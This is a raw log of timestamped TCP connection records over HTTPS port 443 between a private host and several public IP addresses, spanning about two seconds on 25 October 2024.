Oct 25, 2024 22:08:05.654731035 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.655025959 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.655339003 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.655397892 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.655725956 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.655810118 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.657057047 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.657130003 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.658276081 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.658380985 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.658571005 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.658587933 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.660866022 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.661067963 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.661086082 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.661326885 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.661386013 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.661520958 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.661537886 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.661636114 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.661659002 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.662520885 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.662592888 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.662944078 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.663028002 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.663098097 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.663160086 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.663197994 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.663264990 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.663677931 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.663765907 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.663981915 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.664067030 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.664118052 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.664134979 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.664202929 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.664221048 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.664238930 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.664247990 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.664885998 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.665122986 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.665134907 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.666867018 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.666938066 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.667813063 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.667929888 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.667963982 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.678574085 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:05.710578918 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.710602999 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.710608006 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.710608006 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.710608006 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.710680962 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.758615017 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.958194971 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958273888 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958343983 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.958494902 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958525896 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958538055 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958561897 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958599091 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958611965 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.958631039 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958645105 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958674908 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958672047 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.958729029 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.958730936 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958734035 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958767891 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958787918 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.958822012 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.958836079 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.958874941 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.958906889 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.958916903 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.958970070 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.958971024 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.960160017 CEST	49728	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.960191965 CEST	443	49728	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.960764885 CEST	49723	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.960797071 CEST	443	49723	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.963218927 CEST	49730	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.963279009 CEST	443	49730	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.964917898 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.965097904 CEST	49727	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.965117931 CEST	443	49727	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.966388941 CEST	49726	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.966449976 CEST	443	49726	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.967825890 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.967843056 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.968554974 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.969435930 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.969671965 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:05.969711065 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:05.971764088 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:05.972136974 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:05.972193003 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:05.973450899 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:05.973841906 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:05.973925114 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:05.974421024 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:05.974452019 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:05.975476980 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:05.975573063 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:05.975640059 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:05.975971937 CEST	49732	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:05.976033926 CEST	443	49732	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:05.978475094 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:05.978579044 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:05.979636908 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:05.979810953 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:05.979821920 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.011327982 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:06.013483047 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:06.019342899 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.027332067 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.028480053 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.028503895 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.028599024 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:06.028657913 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.076478004 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.076556921 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:06.207710028 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.207771063 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.207794905 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.207828045 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.207870007 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.207882881 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.207889080 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.207882881 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.207884073 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.207952976 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.208026886 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.208028078 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.208026886 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.208026886 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.208050013 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.208081961 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.208087921 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.208105087 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.208139896 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.208180904 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.208203077 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.208230972 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.208509922 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.209968090 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.210032940 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.210073948 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.210088015 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.210115910 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.210145950 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.210146904 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.210175991 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.210285902 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.210298061 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.210334063 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.210454941 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.210477114 CEST	443	49731	18.245.31.5	192.168.2.16
Oct 25, 2024 22:08:06.210503101 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.210504055 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.210594893 CEST	49731	443	192.168.2.16	18.245.31.5
Oct 25, 2024 22:08:06.213193893 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.213232994 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.213450909 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.213506937 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.213591099 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.213707924 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.213716984 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.213762045 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.213766098 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.213892937 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.213944912 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.214004040 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.214180946 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.214217901 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.214342117 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.214449883 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.214463949 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.214642048 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.214679956 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.214797974 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.214811087 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.214975119 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.215004921 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.215131044 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.215146065 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.433568954 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.433707952 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.433804989 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:06.433840036 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.433870077 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.433919907 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:06.434429884 CEST	49729	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:06.434457064 CEST	443	49729	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.436762094 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.446624994 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:06.446716070 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.446973085 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:06.447268009 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:06.447359085 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:06.490468979 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.502679110 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:06.502774954 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:06.502845049 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:06.503472090 CEST	49733	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:06.503488064 CEST	443	49733	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:06.507463932 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:06.507546902 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:06.507914066 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:06.508013964 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:06.508044004 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:06.554012060 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554068089 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554085970 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554110050 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.554141998 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554167032 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554171085 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.554192066 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554194927 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.554224968 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554233074 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.554328918 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.554444075 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554464102 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554500103 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.554527998 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.554554939 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554621935 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.554622889 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.554698944 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.555003881 CEST	49725	443	192.168.2.16	192.229.133.221
Oct 25, 2024 22:08:06.555046082 CEST	443	49725	192.229.133.221	192.168.2.16
Oct 25, 2024 22:08:06.945400000 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.945657015 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.945671082 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.946743965 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.946805954 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.948828936 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.948898077 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.949301004 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.949309111 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.952282906 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.952498913 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.952507973 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.955734015 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.955806017 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.956193924 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.956275940 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.956341028 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.963435888 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.971098900 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.971116066 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.971364021 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.971725941 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.971790075 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.972789049 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.972876072 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.973380089 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.973516941 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.973624945 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.975264072 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.975351095 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.975709915 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.975878954 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.976022959 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:06.995974064 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.997462988 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:06.997476101 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.026463985 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.026503086 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.026509047 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.026519060 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.042690992 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.061471939 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.073730946 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.073815107 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.073931932 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.074469090 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.079127073 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.081265926 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.081423998 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.081501961 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.081512928 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.081588984 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.081648111 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.090960979 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.091022015 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.092061043 CEST	49739	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.092081070 CEST	443	49739	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.092520952 CEST	49737	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.092530012 CEST	443	49737	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.092597961 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.092756033 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.093624115 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.093746901 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.093764067 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.102936029 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.102972031 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.103032112 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.103063107 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.103094101 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.104301929 CEST	49740	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.104317904 CEST	443	49740	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.108841896 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.109807014 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.111897945 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.112128973 CEST	49741	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.112171888 CEST	443	49741	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.137623072 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.137681007 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.185596943 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.228748083 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.228827953 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.228902102 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.232901096 CEST	49738	443	192.168.2.16	13.107.246.45
Oct 25, 2024 22:08:07.232961893 CEST	443	49738	13.107.246.45	192.168.2.16
Oct 25, 2024 22:08:07.470901966 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:07.471307993 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:07.471365929 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:07.472846985 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:07.473433018 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:07.473520041 CEST	49745	443	192.168.2.16	185.45.66.155
Oct 25, 2024 22:08:07.473938942 CEST	443	49745	185.45.66.155	192.168.2.16
Oct 25, 2024 22:08:07.483758926 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.484107018 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:07.484169006 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.485635996 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 25, 2024 22:08:07.485824108 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 25, 2024 22:08:07.486253977 CEST	49744	443	192.168.2.16	152.199.21.175
